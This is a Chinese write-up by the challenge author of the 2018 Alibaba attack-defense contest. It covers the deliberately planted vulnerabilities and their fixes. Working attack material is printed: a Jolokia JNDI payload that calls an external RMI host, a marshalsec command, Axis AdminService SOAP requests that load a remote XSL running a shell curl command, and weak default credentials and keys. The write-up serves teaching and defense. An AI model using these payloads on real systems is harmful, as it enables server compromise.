内容简介:2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元
2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。
恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6 万元 奖金 (税前) ,f61d战队获得比赛第三名3 万元 奖金 (税前) !
恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元 奖金 奖金 (税前) !
恭喜ChaMd5/f61d/kn0ck战队的队员分别获得最佳攻防个人奖励及1万元 奖金 (税前) !
(相关的奖金发放和证书邮寄下周将全部完成)
赛后有不少选手希望有本次比赛的WriteUp,所以我们让出题小哥哥写了一个出题者版本供大家参考。阿里出的题,必然是 java 居多啦。
本次比赛共分三场,第一场php+java,第二场python+java,第三场php+java。
在此放出 WriteUp 供相关队员参考:
第一场
PHP 题目
1.ImageMagic 命令注入(CVE-2016–3714)
很经典的漏洞,姿势网上有很多,就不在这里占篇幅了。
Java 题目
1.Jolokia JNDI 注入CVE-2018-1000130
在web.xml可以看到如下片段,使用了jolokia作为JMX的环境
< servlet >
< servlet-name > jolokia-agent </ servlet-name >
< servlet-class > org.jolokia.http.AgentServlet </ servlet-class >
< init-param >
< param-name > mimeType </ param-name >
< param-value > application/json </ param-value >
</ init-param >
< load-on-startup > 1 </ load-on-startup >
</ servlet >
< servlet-mapping >
< servlet-name > jolokia-agent </ servlet-name >
< url-pattern > /jolokia/* </ url-pattern >
</ servlet-mapping >
漏洞的利用可以参考下
https://xz.aliyun.com/t/2294
这篇文章,不过建议使用rmi协议而不是ldap协议,poc改成下面的,加上现场环境特意没有使用高版本的JDK,这样直接就能用 marshalsec 的构建好的jndi服务器指向下载的class内容
{
"type" : "read" ,
"mbean" : "java.lang:type=Memory" ,
"target" : {
"url" : "service:jmx:rmi:///jndi/rmi://123.123.123.123:1099/jmxrmi"
}
}
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://yourserverip:port/#classname 1099
修复方法
把jolokia在web.xml的引用给注释掉,或者升级到最新的版本编译。
2.Json 反序列化漏洞
代码位于com.alibaba.sample.petstore.web.store.module.screen.SearchProduct
public void execute (@Param( "info" ) String info , Context context , HttpServletRequest req ) throws Exception {
if ( req . getContentType (). contains ( "json" )){
JSONObject jo = JSON . parseObject ( req . getInputStream (), com . alibaba . fastjson . JSONObject . class );
info = jo . getString ( "info" );
}
List < Product > products = productDao . searchProductsByKeywords ( info );
context . put ( "products" , products );
}
在提交搜索的位置抓包,将ContentType改成application/json即可用json的形式提交搜索,这里使用了低版本的fastjson的包,存在反序列化漏洞能够直接获取服务器权限。
< dependency >
< groupId > com.alibaba </ groupId >
< artifactId > fastjson </ artifactId >
< version > 1.2.15 </ version >
</ dependency >
利用姿势可以参考 https://github.com/shengqi158/fastjson-remote-code-execute-poc
修复方法
可以更改pom文件使用最新的fastjson并重新编译发布。
3.SQL 注入漏洞
在搜索处抓包即可,参数info存在 SQL 注入,可以获取数据库内的flag。为了贴近真实环境,所有场次每个team所使用的数据库都是只能由这个team的应用服务器连接,即使获取到了数据库的凭据也不能在本地连接。
修复方法
找到对应的sqlmap(不是跑注入的那个)文件petstore/dal/src/main/resources/petstore/dal/sqlmap/Product.xml,将$改成#即可。
4.Java 反序列化漏洞
所有Java题目用到的框架经过配置,session信息是存在cookie里的,cookie的内容经过压缩和加密(可选)并序列化后的session对象。可以参考com.alibaba.citrus.service.requestcontext.session.encoder.AbstractSerializationEncoder的encode方法手工对cookie进行加密。
/** 编码。 */
public String encode ( Map < String , Object > attrs , StoreContext storeContext ) throws SessionEncoderException {
ByteArrayOutputStream baos = new ByteArrayOutputStream ();
// 1. 序列化
// 2. 压缩
Deflater def = new Deflater ( Deflater . BEST_COMPRESSION , false );
DeflaterOutputStream dos = new DeflaterOutputStream ( baos , def );
try {
serializer . serialize ( assertNotNull ( attrs , "objectToEncode is null" ), dos );
} catch ( Exception e ) {
throw new SessionEncoderException ( "Failed to encode session state" , e );
} finally {
try {
dos . close ();
} catch ( IOException e ) {
}
def . end ();
}
byte [] plaintext = baos . toByteArray (). toByteArray ();
// 3. 加密
byte [] cryptotext = encrypt ( plaintext );
// 4. base64 编码
try {
String encodedValue = new String ( Base64 . encodeBase64 ( cryptotext , false ), "ISO-8859-1" );
return URLEncoder . encode ( encodedValue , "ISO-8859-1" );
} catch ( UnsupportedEncodingException e ) {
throw new SessionEncoderException ( "Failed to encode session state" , e );
}
}
/** 加密。 */
private byte [] encrypt ( byte [] plaintext ) throws SessionEncoderException {
if ( encrypter != null ) {
return encrypter . encrypt ( plaintext );
}
return plaintext ;
}
默认是Hessian协议的序列化方式,但是考虑到这个协议的序列化漏洞利用姿势比较小众,特地在配置文件中修改成了Java的序列化,所以使用com.alibaba.citrus.service.requestcontext.session.serializer.impl.JavaSerializer即可。对应的配置文件内容:
< request-contexts:session forceExpirationPeriod =" 14400 ">
< stores >
< session-stores:cookie-store id =" temporaryCookie ">
< cookie name =" tmp " />
< encoders >
< session-encoders:serialization-encoder >
< session-serializers:java-serializer />
<!--<session-encrypters:aes-encrypter key="0123456789abcdef" />-->
</ session-encoders:serialization-encoder >
</ encoders >
</ session-stores:cookie-store >
</ stores >
< store-mappings >
< match name =" * " store =" temporaryCookie " />
</ store-mappings >
< interceptors >
< session-interceptors:lifecycle-logger />
< session-interceptors:attribute-whitelist >
< attribute name =" _csrf_token " />
< attribute name =" _lang " />
< attribute name =" petstoreUser " type =" com.alibaba.sample.petstore.web.common.PetstoreUser " />
< attribute name =" petstoreCart " type =" com.alibaba.sample.petstore.dal.dataobject.Cart " />
</ session-interceptors:attribute-whitelist >
</ interceptors >
</ request-contexts:session >
本场次没有进行加密,后面对两个场次对cookie对中的内容进行了加密处理,用com.alibaba.citrus.service.requestcontext.session.encrypter.impl.AesEncrypter进行加密即可。
修复方法
配置文件的注释中有设置加密key的方法,把注释去掉随机生成一个长度16的key即可。
场次二
Python 题目
1.Flask 模板注入漏洞
也是非常经典,在此不再详细介绍。
Java 题目
1.XMLDecoder 反序列化漏洞
和weblogic的那个漏洞原理一致,位于webservice中。可以通过访问http://ip:80/contest2/services/StoreManagerWebServiceXML?wsdl通过各种 工具 解析wsdl文件来获取调用的接口,触发点为getCartItems方法中xmlstr字段。
修复方法
可以把这个接口删除,在/WEB-INF/server-config.wsdd注释掉即可,不影响其他业务。
2.Json 反序列化漏洞黑名单绕过
漏洞点同样位于webservice内,可以通过访问http://ip:80/contest2/services/StoreManagerWebService?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中cartjsonstr字段。
可以参考下面文章的绕过姿势
https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/src/main/java/person/OtherPoC.java
使用的fastjson版本是1.2.42的,同样为了方便漏洞的利用,特意打开了autotype的开关
ParserConfig . getGlobalInstance (). setAutoTypeSupport ( true ); // 一般都不开
修复方法
可以更改pom文件使用最新的fastjson并重新编译发布。
3.Java 反序列化漏洞
可以参考第一场次,默认所有场次的加密key都是0123456789abcdef,
修复方法
可以参考场次一的修复方案。
4.Java JDWP 调试端口远程开放
默认的tomcat启动参数是开启了调试的,所以可以通过这个漏洞直接获取主机权限。
利用工具可以参考 https://github.com/IOActive/jdwp-shellifier
修复方法
在启动脚本:
catalina.sh jpda start 改为catalina.sh start即可
其他题目
SSH 弱口令admin:admin123
场次三
PHP 题目
Drupal Drupalgeddon2 (CVE-2018-7600)
今年新出的漏洞,比较火,可以参考 https://xz.aliyun.com/t/2312
PHP-FPM 未授权访问
设置php-fpm服务的时候监听了0.0.0.0,白名单是选手应用服务器所在的网段
可以参考 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Java 题目
1.WebService 任意部署漏洞
这个漏洞出的不是很好,因为漏洞比较老,可能大部分人都没有见过。
通过访问http://ip:80/contest3/services/AdminService?wsdl通过各种工具解析wsdl文件来获取调用的接口,通过部署任意类为一个webservice方法的形式来执行命令。数据包如下
POST /contest3/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 799
<?xml version="1.0" encoding="utf-8"?>
< soapenv:Envelope xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance "
xmlns:xsd =" http://www.w3.org/2001/XMLSchema "
xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ ">
< soapenv:Body >
< ns1:deployment
xmlns =" http://xml.apache.org/axis/wsdd/ "
xmlns:java =" http://xml.apache.org/axis/wsdd/providers/java "
xmlns:ns1 =" http://xml.apache.org/axis/wsdd/ ">
< ns1:service name =" TestService " provider =" java:RPC ">
< ns1:parameter name =" className " value =" com.sun.org.apache.xalan.internal.xslt.Process "/>
< ns1:parameter name =" allowedMethods " value =" * "/>
</ ns1:service >
</ ns1:deployment >
</ soapenv:Body >
</ soapenv:Envelope >
会部署一个名为TestService的接口,实现类是com.sun.org.apache.xalan.internal.xslt.Process,其中的_main(String[])方法会在满足特定条件时会去远程加载一个xsl文件造成xslt注入导致命令执行。
POST /contest3/services/TestService HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 799
< soapenv:Envelope xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance " xmlns:xsd =" http://www.w3.org/2001/XMLSchema " xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ " xmlns:xslt =" http://xslt.internal.xalan.apache.org.sun.com " xmlns:soapenc =" http://schemas.xmlsoap.org/soap/encoding/ ">
< soapenv:Header />
< soapenv:Body >
< xslt:_main soapenv:encodingStyle =" http : //schemas.xmlsoap.org/soap/encoding/ ">
< argv xsi:type =" xst:ArrayOf_xsd_string " soapenc:arrayType =" xsd:string[] " xmlns:xst =" http://127.0.0.1:8080/contest3/services/TestService ">
< cmd xsi:type =" soapenc:string "> -xsl </ cmd >
< cmd xsi:type =" soapenc:string "> http://123.123.123.123/cmd.xsl </ cmd >
</ argv >
</ xslt:_main >
</ soapenv:Body >
</ soapenv:Envelope >
cmd.xsl 如下
<?xml version="1.0"?>
< xsl:stylesheet exclude-result-prefixes =" java " version =" 1.0 "
xmlns:bufferedreader =" xalan://java.io.BufferedReader "
xmlns:inputstreamreader =" xalan://java.io.InputStreamReader "
xmlns:java =" http://xml.apache.org/xalan/java "
xmlns:runtime =" xalan://java.lang.Runtime "
xmlns:str =" xalan://java.lang.String "
xmlns:xsl =" http://www.w3.org/1999/XSL/Transform ">
< xsl:variable name =" runtime " select =" runtime:getRuntime() "/>
< xsl:template match =" / ">
< xsl:variable name =" command "> /bin/sh,-c,curl 10.233.66.66 -I </ xsl:variable >
< xsl:variable name =" arguments " select =" str:split(str:new($command), ' , ' ) "/>
< xsl:value-of select =" runtime:exec($runtime, $arguments) "/>
</ xsl:template >
</ xsl:stylesheet >
修复方法
在/WEB-INF/server-config.wsdd中将enableRemoteAdmin设置为false
2. 未授权访问漏洞
由于对该项目进行了部分的服务化改造,应用不再直接连接数据库获取信息,而是通过连接dubbo服务器的形式以RPC的形式获取。环境特意使用错误的配置将dubbo的接口对外开放,任何人都能够telnet过去执行任意接口,调用方法文档如下: http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html
数据flag放到了这个接口里,不过直接提交会出错,因为还经过了一次aes加密,在业务展示订单信息对应的方法com.alibaba.sample.petstore.web.store.module.screen.OrderList有展示:
public void execute ( Context context ) throws Exception {
//System.out.println("call order list");
List < Order > orders = orderDao . getAllOrders ();
for ( Order o : orders ){
o . setStatus ( new String ( Aes . decryptString ( o . getStatus ())) );
}
context . put ( "orders" , orders );
}
所以找到指定数据后,调用Aes.decryptString(String)方法就可以获得flag了。
修复方法
修改iptables的入站规则,禁止20880端口访问。或者在配置文件中新增dubbo.protocol.host=127.0.0.1
阅读原文 ”至ASRC提交安全漏洞及情报
长按扫描关注ASRC,关注后续精彩活动!
↓↓↓↓↓↓↓↓↓↓↓↓↓
以上所述就是小编给大家介绍的《WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。